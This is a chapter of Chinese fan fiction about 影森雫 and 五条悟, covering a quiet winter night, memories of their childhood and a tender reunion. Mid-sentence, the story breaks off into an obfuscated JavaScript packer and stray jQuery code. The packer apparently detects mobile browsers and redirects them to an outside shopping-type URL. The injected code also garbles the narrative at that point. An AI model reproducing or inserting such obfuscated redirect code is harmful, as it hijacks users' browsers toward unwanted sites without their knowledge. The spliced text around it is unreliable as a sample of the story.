11. 第 11 章
作品:《哭完前夫,睡前夫哥》 临走前,五条悟打理着制服问道:“我的礼物,怎么少了一个?”
“……噢,那个玩偶?”眼神不必晃动,影森雫也知道他是在说哪件礼物。她盯着纸页,懒懒的回:“被惠枝拿去洗了。”
翻书声清晰,男人虚虚望来一眼,眉宇间染着笑意。
“那么,我出门了。”
影森雫没有回复,反而用书封遮住点自己的侧脸。
*
寒冷的天气。
就算躲在屋子里,手脚也冰凉到陷入僵硬,完全无法拿起画笔,更没有兴致去做毛毡。
窗外是白色的荒芜,时不时有浅色的和服经过,影森雫无端幻视今年起五条悟的深色制服。
毫无困意。
影森雫收回目光,打算同惠枝说说话。
依旧是光滑到没有碎发,非常方便工作的发型。惠枝揉了揉眼睛,打出一声哈欠。
这对影森雫来说,是难以窥见的场景。
她连忙关心:“昨夜没有休息好吗?”
“嗯……应该说是完全相反?”惠枝放下手臂,强硬自己打起精神来:“没有哪一次比昨夜还要舒适了。感觉世界是那么惬意,让我简直不想从睡梦中醒来。”
她笑着安慰:“您瞧,我现在还对被窝依依不舍呢。”
影森雫被惠枝逗出同样的表情,不再追问。
惠枝一边叠衣服,一边絮絮叨叨:“玩偶已经洗好啦,大概明天就能被烘干,回到这个房间。我总算是知道影森夫人您为什么会偷偷抱着它睡觉了,手感超级棒,洗完以后要疯狂克制才能忍住不摸它呢……”
催眠的背景音里,影森雫安静听着。
惠枝时不时抬头,撞见她始终耐心的弯着眼。
“影森夫人,不怎么说梦话呢?”
“是么?”
“是呀。有时候,您会在睡梦中露出格外香甜的味道,灵魂是松软的;有时候,您就紧紧地皱着眉,嚅动着嘴唇,陷入在糟糕的情绪里……但没有一次,发出声音来呢。很安静。”
说着说着,惠枝又泄出几次哈欠。
影森雫顿了顿,抬头看了眼惠枝的神态,又悄无声息地垂下,把她俩叠好的衣服放回柜橱。
上面的空间,摆放着的衣物都是她自己的。
下面的空间,摆放着的衣物则是五条悟的。
他每次都相当费劲地弯腰去拿,最后干脆买了件高大的衣架挂他常服。
联想到五条悟那副嫌麻烦又不愿意怪罪于她的笨拙举动,影森雫就忍不住扩大微笑。
没有五条悟存在的空间相当安静。
就算宅邸里的人员众多,这里也并非会喧嚣的家族,只有各司其职地井然有序。
当然,五条悟也算不上是吵闹,大多时候他也会写教案、赶报告、看点电影或者辅导书之类的。多少次,影森雫抬头撞见他的侧颜,也只得到他轻飘飘瞟过来的一眼。
至于那些都伴随着怎样的表情?
影森雫早就记不清了。
她只会在视线相对后匆忙挪开眼,迅速划过他朦胧的眉眼。
得益于叠衣服之类的日常活动,影森雫僵硬乏力的身体总算有所缓和。
她拿起画笔,却处于不知该创作什么的尴尬境地。
影森雫得到的东西很多。
比如同其他佣人相比更加宽敞舒适的房间。
比如各式各样的礼物。
比如专门照顾她的惠枝。
可当她试图丢下画笔,去做毛毡,纸面上却浮现起一位本不应该出现在这里的先生。
漫不经心地笑容。
遮盖眉眼的黑布。
聚拢到一块的冲天白发……
很快,这张恼人的脸遍布褶皱,纸张被影森雫揉碎。
*
影森雫捕捉到轻微的窸窣声。
天蒙蒙亮。
五条悟懒洋洋地脱下外套,挂在衣架上。
“……吃饭了吗?”醒来的影森雫侧脸枕着双手,问他。
顶着晨辉,五条悟略微扭头,没被她突如其来的声音吓到:“吃过了。”
四五点的时间,连窗花都是厚的。
他一个人铺好被褥,躺在影森雫旁边。
风与霜的味道扩散,影森雫问他外面是不是下雪了。
“有一点。”他说,“不过,这样淅淅沥沥的雪最容易下很长时间了。”
又听到几声类似于今天不要再出屋子看风景之类的叮嘱,影森雫迷迷糊糊地翻身应声。
没有熟悉的玩偶陪同入睡,心里总觉得不踏实,睡眠都是浅的。
五条悟拍了拍她的袖子,给她讲上次只讲到一半的睡前故事。
“……今晚,惠枝也为我念过了。刚好讲完了这篇。”等他磨磨蹭蹭的收尾,重新听了一遍的影森雫才闭着眼睛宣告。
软绵绵的“真讨厌”淌过来,尾音反而坠着笑声。
又是翻页的“沙沙”几次响,朗诵再次回荡。
不知过了多久。
随着她呼吸声越来越轻,胸脯的起伏越来越缓,五条悟渐渐收声。
故事书回到原位,此起彼伏的吐息节奏开始接近。
影森雫睁开眼。
五条悟的睫毛随着他的呼吸而颤抖着,睡颜安静。
侧躺着的姿势令他的肩膀稍微内扣。
他大抵不太舒服,未曾想到宽阔漂亮的臂膀竟然在这时带来麻烦,两条细细的眉毛蹙着,却始终不肯将身体转走。
这样的五条悟,影森雫曾见过的。
同龄并不能跨越无形的壁垒。至少,对五条家的孩子们开来说,是这样。只是见到他兴致缺缺的表情,那些人就会默契地散开,去庭院的其他点位玩。
影森雫刚和五条悟熟悉起来的时候,他就只和她玩。
五条悟尤为喜欢拉着她的手腕,带着她奔跑。
安静的宅邸会在那一刻风声呼啸,所有建筑和人物都被他们甩在身后,只化为模糊的残影。
偶尔会有长辈驻足训斥,但五条悟充耳不闻。
直到他们向前,与对方擦肩而过,他才扭头冲对方露出“你能奈我何”的得意表情,得到几声长辈的跺脚。
理所当然的,那些生动的神态同时被他身后的影森雫收入眼底。
随着他转回头继续奔跑的动作,留给她的脸庞越来越少,最后只剩下他圆润的后脑勺。
这样的背影给影森雫留下了极为深刻的印象。
以至于五条悟首次从东京咒术高专回来的时候,逐渐涨长、反翘的后脑勺发梢几乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224160|197543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
令影森雫不太适应。
她一边嘟囔着“怎么会这么快”,一边被五条悟吞到肚子里。
身体因为漫长的缠吻而缺氧。
像溺水的人试图揽住浮木,只是下意识的生理举动,影森雫连指尖掠过哪里都没印象。
五条悟就会在这时候允许她呼吸,然后摸着后脑勺笑言“好痛”,触碰到她穿插在他发间的手。
话音落地后,朝着她赶过来的,只会是更加细密的吻。
覆盖在他后脑勺的手指也会被他轻轻摘下,顺着她的指尖往关节、手心、手腕揉。
不同的发型营造出来的气质也相当不同。
如果说之前的五条悟干净利落,身上是清新的洗衣粉味,归来的五条悟就看起来眉目更加柔和,散发着被阳光晒透的气息。
有时候,影森雫也会趁机窝在他脖颈嗅一嗅,再被恼羞成怒的五条悟用碎发蹭来蹭去,挠的她停不住笑。
遐思回笼,影森雫顿了顿,默默转身。
在相当久远的冬季,影森雫也生过一场病。
刚开始,父母由于工作忙碌,并没能及时发觉她的身体状况。
恰好是休班的那天,影森雫迷迷糊糊地睡在被窝里,遗忘了母亲交代的事务。
她被一顿臭骂。
熟练地听完母亲的抱怨,影森雫点点头,沉默着爬起来出去履行。
走到半途,她垂着头,收到了来自于男人包含着关心的问候。
影森雫掀起眼皮。
他栗色的瞳孔,将眸子颤栗着,蹙眉含泪的她倒映其中。
到了晚上,不知为何吃不进去饭。影森雫倒回被窝里,意识混沌。
影森雫不知道为什么能看到五条悟。
那整洁的制服平添了好多褶皱,发型也乱翘着。
他用额头感受着她的温度,再一点一点地直腰起身。
刘海上的碎发,白色的,混杂着她黑色的长发。
只有一瞬间而已。
密密麻麻的痒,却停留了好久好久。
如果不是再次醒来,看到五条悟侧倒在一旁的睡颜,发现崭新的几条洗毛巾,额头上留着融化的冰袋,影森雫会以为那些模糊的记忆不过是她的梦境,亦或者她的幻想。
实在是太久远了,却连他睁眼后说的画都能够清晰的回忆起来——
他苏醒时惊喜的笑脸;
他复述他如何拜托同期驱使着虹龙把他驮回来时的小情景剧;
他道别时,嘴唇的形状;
他突然回头,介绍他旁边的男人是他的挚友,他曾跟她念叨过的“夏油杰”;
她屋子里通了半晌的风,五条悟飞舞的头发是何种弧度。
“……睡不着吗?”
十多年后的和室,乍现的声音被男人嚼的含糊,像是困倦。
影森雫再次不受控制翻涌起来的遐思迅速消散。
她肩膀一重。
是被子。是因为转动身体而略微下滑的被子。
影森雫闭着眼,干脆不吭声。
明知道她在装睡,五条悟竟然在替她盖好被子后,还顺势捋了捋她蜿蜒而下的长发。
这传递不了任何温度。
即便如此,仍然有痒麻感从深处溢出来,尖锐到影森雫眼眶发酸。

